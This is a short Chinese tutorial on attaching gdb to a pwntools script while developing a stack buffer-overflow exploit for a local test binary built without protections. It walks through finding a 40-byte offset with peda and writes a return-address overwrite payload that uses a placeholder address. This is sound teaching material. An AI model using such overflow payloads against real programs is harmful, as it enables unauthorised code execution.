elf,是Linux的主要可执行文件格式
可通过 pwntools的gdb模块 完成 elf文件的动态调试工作
其中最常用的是attach函数,在指定process之后可以attach上去调试,配合proc模块就可以得到对应进程的pid
pwntools开发脚本时如何调试:
1.使用proc.pidof(p)函数,将被测函数的pid打印出来
2.用gdb attach上去调试即可
例:
编译:各种保护都不加(64位)
打开两个终端:一个用来调试,另一个用来运行python脚本。
1终端:
可以看一眼汇编代码:objdump -d -M intel ./text
调试:gdb text
(这里用的peda)
pattern create 200
复制随机生成的字符串
r
粘贴字符串
回车
发现在ret处暂停,发现了错误
找到栈的最低地址处前四个字节,这里即为将要跳转的地方
pattern offset 四个字节
看到偏移为40
写出exp:
from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug') //实时获取debug,可注释
p = process("./test")
print "pid" + str(proc.pidof(p))
offset = 40
payload = offset * 'a' + p64(0xxxxxx)
#pause() //pause要在sendline前面,用于调试
p.sendline(payload)
p.interactive()
终端2:
python exp.py
成功
若不成功
将pause取消注释,进行调试 //这里用正确的exp为例
将gdb附加到进程上面
终端2:
python exp.py
//进程已创建,pid也打印出来了
终端1:
gdb -attach 打印出的pid
终端2:
回车 //继续运行,发送process
终端1:
n //一直向下单步执行
直到看到call getline函数
执行完此函数,看到rcx中出现了一堆a,说明已经获取到payload了
继续向下单步执行
看到gets函数执行完毕,几个寄存器全被覆盖为a
直到运行完ret,发现返回到了exploit函数
成功